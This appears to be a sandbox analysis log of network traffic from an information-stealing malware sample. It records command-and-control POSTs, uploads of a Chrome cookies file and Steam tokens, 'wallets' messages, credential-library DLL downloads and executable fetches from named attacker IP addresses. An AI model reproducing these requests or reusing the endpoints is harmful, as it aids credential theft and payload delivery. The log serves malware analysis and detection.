Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHCHost: 185.215.113.206Content-Length: 5971Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008454001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDAKFCGIJKJKFHIDHIII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008455001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 2d 2d 0d 0a Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="file"------KKJKEBKFCAAECAAAAAEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file"------FBFIJJEBKEBFCBGDAEGD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008456001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="message"wallets------JDGCFBAFBFHJEBGCAEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="message"files------DGHCBAAEHCFIDGDHJEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="file"------KEHCGCGCFHIDBFHIIJKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="message"ybncbhylepme------JJJEGHDAECBFHJKEGIJK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KECFIDGCBFBAKEBFBKFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"mars------JJEGCBGIDHCAKEBGIIDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="build"mars------GDAAKFIDGIEGDGDHIDAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
